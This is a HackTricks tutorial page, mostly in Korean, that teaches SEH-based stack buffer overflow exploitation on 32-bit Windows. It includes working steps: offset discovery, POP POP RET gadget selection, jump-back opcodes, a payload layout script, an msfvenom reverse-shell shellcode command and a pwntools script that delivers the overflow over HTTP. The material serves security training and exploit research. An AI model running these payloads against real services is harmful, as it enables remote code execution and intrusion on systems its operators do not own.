Windows SEH 기반 스택 오버플로우 익스플로잇 (nSEH/SEH)

Reading time: 6 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

SEH 기반 익스플로잇은 스택에 저장된 Structured Exception Handler 체인을 악용하는 고전적인 x86 Windows 기법입니다. 스택 버퍼 오버플로우가 두 개의 4바이트 필드를 덮어쓸 때

  • nSEH: 다음 SEH 레코드를 가리키는 포인터, 및
  • SEH: 예외 핸들러 함수의 포인터

공격자는 다음과 같이 실행 흐름을 제어할 수 있습니다:

  1. SEH를 SafeSEH 등이 적용되지 않은(non-protected) 모듈의 POP POP RET 가젯 주소로 설정하여, 예외가 발생했을 때 그 가젯이 공격자가 제어하는 바이트로 리턴하도록 하고,
  2. nSEH를 사용해 실행을 (보통 짧은 점프) 오버플로우로 채워진 큰 버퍼(여기에 shellcode가 위치함)로 되돌립니다.

이 기법은 32-bit 프로세스(x86)에만 해당합니다. 현대 시스템에서는 가젯으로 SafeSEH와 ASLR이 적용되지 않은 모듈을 선호합니다. C-strings 및 HTTP 파싱 때문에 종종 0x00, 0x0a, 0x0d (NUL/CR/LF) 같은 bad characters가 포함됩니다.


정확한 오프셋 찾기 (nSEH / SEH)

  • 프로세스를 크래시시키고 SEH 체인이 덮어써졌는지 확인하세요 (예: x32dbg/x64dbg에서 SEH 뷰를 확인).
  • 오버플로우 데이터로 cyclic pattern을 전송하고 nSEH와 SEH에 도달하는 두 dword의 오프셋을 계산하세요.

Example with peda/GEF/pwntools on a 1000-byte POST body:

bash
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"

# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163   # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241   # SEH
# ➜ offsets example: nSEH=660, SEH=664

Validate by placing markers at those positions (e.g., nSEH=b"BB", SEH=b"CC"). Keep total length constant to make the crash reproducible.


Choosing a POP POP RET (SEH gadget)

You need a POP POP RET sequence to unwind the SEH frame and return into your nSEH bytes. Find it in a module without SafeSEH and ideally without ASLR:

  • Mona (Immunity/WinDbg): !mona modules then !mona seh -m modulename.
  • x64dbg plugin ERC.Xdbg: ERC --SEH to list POP POP RET gadgets and SafeSEH status.

Pick an address that contains no badchars when written little-endian (e.g., p32(0x004094D8)). Prefer gadgets inside the vulnerable binary if protections allow.


Jump-back technique (short + near jmp)

nSEH is only 4 bytes, which fits at most a 2-byte short jump (EB xx) plus padding. If you must jump back hundreds of bytes to reach your buffer start, use a 5-byte near jump placed right before nSEH and chain into it with a short jump from nSEH.

With nasmshell:

text
nasm> jmp -660           ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8       ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652           ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF

nSEH가 offset 660에 있는 1000-byte payload에 대한 레이아웃 아이디어:

python
buffer_length = 1000
payload  = b"\x90"*50 + shellcode                    # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload))           # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE"     # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB"                      # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8)                           # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))

실행 흐름:

  • 예외가 발생하면 디스패처가 덮어쓴 SEH를 사용한다.
  • POP POP RET가 언와인드되어 우리 nSEH로 진입한다.
  • nSEH가 jmp short -8를 실행하여 5-byte near jump로 점프한다.
  • Near jump가 우리의 버퍼 시작 부분에 착지하여 NOP sled + shellcode가 위치한 곳으로 이동한다.

Bad characters

전체 badchar 문자열을 만들고 크래시 후 스택 메모리를 비교하여 대상 파서에 의해 변형된 바이트를 제거한다. HTTP-based overflows의 경우, \x00\x0a\x0d는 거의 항상 제외된다.

python
badchars = bytes([x for x in range(1,256)])
payload  = b"A"*660 + b"BBBB" + b"CCCC" + badchars  # position appropriately for your case

Shellcode 생성 (x86)

msfvenom을 자신의 badchars와 함께 사용하세요. 작은 NOP sled는 착지 위치의 오차를 허용하는 데 도움이 됩니다.

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc

즉석에서 생성하는 경우, hex 형식은 Python에서 embed하고 unhex하기에 편리합니다:

bash
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex

HTTP로 전달하기 (precise CRLF + Content-Length)

취약한 벡터가 HTTP 요청 본문인 경우, 정확한 CRLF와 Content-Length를 포함한 raw request를 제작하여 서버가 전체 오버플로우된 본문을 읽도록 하라.

python
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000  # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close

""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()

도구

  • x32dbg/x64dbg — SEH 체인을 관찰하고 크래시를 triage(분류)하기 위해.
  • ERC.Xdbg (x64dbg 플러그인) — SEH gadgets 열거: ERC --SEH.
  • Mona — 대안으로: !mona modules, !mona seh.
  • nasmshell — short/near jumps를 어셈블하고 raw opcodes를 복사하기 위해.
  • pwntools — 정밀한 네트워크 payload를 제작하기 위해.

노트 및 주의사항

  • x86 프로세스에만 적용됩니다. x64는 다른 SEH 체계를 사용하며 SEH 기반 익스플로잇은 일반적으로 실현 가능하지 않습니다.
  • SafeSEH와 ASLR이 없는 모듈 내의 gadgets를 우선적으로 사용하세요. 그렇지 않다면 프로세스에 로드된 보호되지 않은 모듈을 찾으세요.
  • 크래시 시 자동으로 재시작하는 서비스 watchdogs는 반복적인 익스플로잇 개발을 더 쉽게 만들 수 있습니다.

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기